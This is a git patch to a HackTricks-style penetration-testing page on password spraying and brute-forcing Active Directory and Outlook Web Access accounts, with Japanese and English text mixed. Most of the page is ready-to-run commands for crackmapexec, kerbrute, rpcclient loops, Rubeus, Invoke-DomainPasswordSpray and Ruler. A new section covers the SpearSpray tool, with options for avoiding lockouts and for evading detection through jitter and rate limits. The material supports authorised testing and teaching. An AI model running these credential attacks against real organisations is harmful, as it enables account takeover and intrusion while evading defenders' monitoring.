From 105a8b5030ed4efbeefce8502200c9d278932d6e Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 26 Aug 2025 18:10:28 +0000 Subject: [PATCH] Translated ['', 'src/windows-hardening/active-directory-methodology/pass --- .../password-spraying.md | 125 ++++++++++++++---- 1 file changed, 98 insertions(+), 27 deletions(-) diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index 52348d665..2c579c9e4 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -1,19 +1,20 @@ -# パスワードスプレイ / ブルートフォース +# Password Spraying / Brute Force {{#include ../../banners/hacktricks-training.md}} -## **パスワードスプレイ** -いくつかの**有効なユーザー名**を見つけたら、発見した各ユーザーに対して最も**一般的なパスワード**を試すことができます（環境のパスワードポリシーを考慮してください）。\ -**デフォルト**では、**最小****パスワード****長**は**7**です。 +## **Password Spraying** -一般的なユーザー名のリストも役立つかもしれません: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) +いくつかの**valid usernames**を見つけたら、発見した各ユーザーに対して最も一般的な**common passwords**を試すことができます（環境の**password policy**を考慮してください）。\ +**By default**、**minimum** **password** **length**は**7**です。 -いくつかの間違ったパスワードを試すと**アカウントがロックアウトされる可能性がある**ことに注意してください（デフォルトでは10回以上）。 +common usernamesのリストも有用です: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -### パスワードポリシーを取得する +注意：複数の誤った**passwords**を試行すると、一部のアカウントが**lockout**される可能性があります（by default は 10 回以上）。 -ユーザーの資格情報やドメインユーザーとしてのシェルがある場合は、**次のコマンドでパスワードポリシーを取得できます**: +### Get password policy + +If you have some user credentials or a shell as a domain user you can **get the password policy with**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -30,45 +31,45 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Linuxからの悪用（またはすべて） +### Exploitation (Linux または全OSから) -- **crackmapexec**を使用して： +- 使用 **crackmapexec:** ```bash crackmapexec smb -u users.txt -p passwords.txt # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` -- [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) を使用して +- [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) を使用する ```bash # Password Spraying ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123 # Brute-Force ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman ``` -- [**spray**](https://github.com/Greenwolf/Spray) _**(ロックアウトを避けるために試行回数を指定できます):**_ +- [**spray**](https://github.com/Greenwolf/Spray) _**(ロックアウトを回避するために試行回数を指定できます):**_ ```bash spray.sh -smb ``` -- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute)（Python）を使用 - 推奨されません、時々機能しないことがあります +- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) を使用する (python) - 推奨されません。場合によっては動作しないことがあります ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt ``` -- `scanner/smb/smb_login` モジュールを使用して **Metasploit**: +- Metasploitの`scanner/smb/smb_login`モジュールを使用して： ![](<../../images/image (745).png>) -- **rpcclient** を使用して: +- **rpcclient**を使用して： ```bash # https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/ for u in $(cat users.txt); do rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority; done ``` -#### From Windows +#### Windows 上から -- [Rubeus](https://github.com/Zer1t0/Rubeus)のブルートモジュールを使用したバージョン: +- [Rubeus](https://github.com/Zer1t0/Rubeus) の brute module を含むバージョンで: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: @@ -76,7 +77,7 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) を使用すると（デフォルトでドメインからユーザーを生成し、ドメインからパスワードポリシーを取得し、それに応じて試行回数を制限します）： +- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) を使用すると（デフォルトでドメインからユーザーを生成し、ドメインからパスワードポリシーを取得してそれに従って試行回数を制限します）: ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` @@ -84,21 +85,86 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` Invoke-SprayEmptyPassword ``` -## ブルートフォース +## Brute Force ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` +### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) + +Kerberos pre-auth–based spraying は SMB/NTLM/LDAP bind attempts に比べノイズを抑え、AD lockout policies とより整合します。SpearSpray は LDAP ドリブンのターゲティング、パターンエンジン、ポリシー認識（domain policy + PSOs + badPwdCount buffer）を組み合わせて、正確かつ安全にスプレーを行います。また、Neo4j に侵害されたプリンシパルをタグ付けして BloodHound のパス探索に利用することもできます。 + +Key ideas: +- LDAP ユーザー検出（ページングと LDAPS サポート）、オプションでカスタム LDAP フィルタを使用可能。 +- ドメインロックアウトポリシー + PSO 対応フィルタリングにより、設定可能な試行バッファ（threshold）を残してユーザーのロックを回避。 +- 高速な gssapi bindings を使用した Kerberos pre-auth 検証（DC 上では 4625 の代わりに 4768/4771 を生成）。 +- 名前や各ユーザーの pwdLastSet に由来する時間値などの変数を使った、パターンベースのユーザー毎パスワード生成。 +- スレッド、ジッター、秒あたり最大リクエスト数によるスループット制御。 +- 任意の Neo4j 統合で、BloodHound 用に侵害済みユーザーをマーク。 + +Basic usage and discovery: +```bash +# List available pattern variables +spearspray -l + +# Basic run (LDAP bind over TCP/389) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local + +# LDAPS (TCP/636) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl +``` +ターゲティングとパターン制御: +```bash +# Custom LDAP filter (e.g., target specific OU/attributes) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ +-q "(&(objectCategory=person)(objectClass=user)(department=IT))" + +# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra} +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME +``` +ステルスおよび安全対策： +```bash +# Control concurrency, add jitter, and cap request rate +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10 + +# Leave N attempts in reserve before lockout (default threshold: 2) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2 +``` +Neo4j/BloodHound のデータ強化： +```bash +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687 +``` +パターンシステムの概要 (patterns.txt): +```text +# Example templates consuming per-user attributes and temporal context +{name}{separator}{year}{suffix} +{month_en}{separator}{short_year}{suffix} +{season_en}{separator}{year}{suffix} +{samaccountname} +{extra}{separator}{year}{suffix} +``` +利用可能な変数には以下が含まれます: +- {name}, {samaccountname} +- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} +- Composition helpers and org token: {separator}, {suffix}, {extra} + +運用上の注意: +- 最も権威ある badPwdCount とポリシー関連情報を読むには、-dc を指定して PDC-emulator に問い合わせることを推奨します。 +- badPwdCount のリセットは観測ウィンドウ後の次回試行で発生するため、しきい値とタイミングを調整して安全を保ってください。 +- Kerberos pre-auth の試行は DC テレメトリで 4768/4771 として現れるため、jitter や rate-limiting を使って目立たないようにしてください。 + +> ヒント: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed. + ## Outlook Web Access -Outlookに対するp**assword spraying**のための複数のツールがあります。 +p**assword spraying outlook**用のツールが複数あります。 -- [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) -- [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) -- [Ruler](https://github.com/sensepost/ruler) (信頼性あり!) -- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) -- [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) +- [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) を使用 +- [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) を使用 +- [Ruler](https://github.com/sensepost/ruler) を使用（信頼性が高い） +- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) を使用（Powershell） +- [MailSniper](https://github.com/dafthack/MailSniper) を使用（Powershell） -これらのツールを使用するには、ユーザーリストとパスワードまたは小さなパスワードリストが必要です。 +これらのツールを使用するには、ユーザーリストと spray 用の password（単一または少数）が必要です。 ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 @@ -117,8 +183,13 @@ Outlookに対するp**assword spraying**のための複数のツールがあり - [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer) - [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster) -## References +## 参考資料 +- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray) +- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute) +- [https://github.com/Greenwolf/Spray](https://github.com/Greenwolf/Spray) +- [https://github.com/Hackndo/sprayhound](https://github.com/Hackndo/sprayhound) +- [https://github.com/login-securite/conpass](https://github.com/login-securite/conpass) - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying) - [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)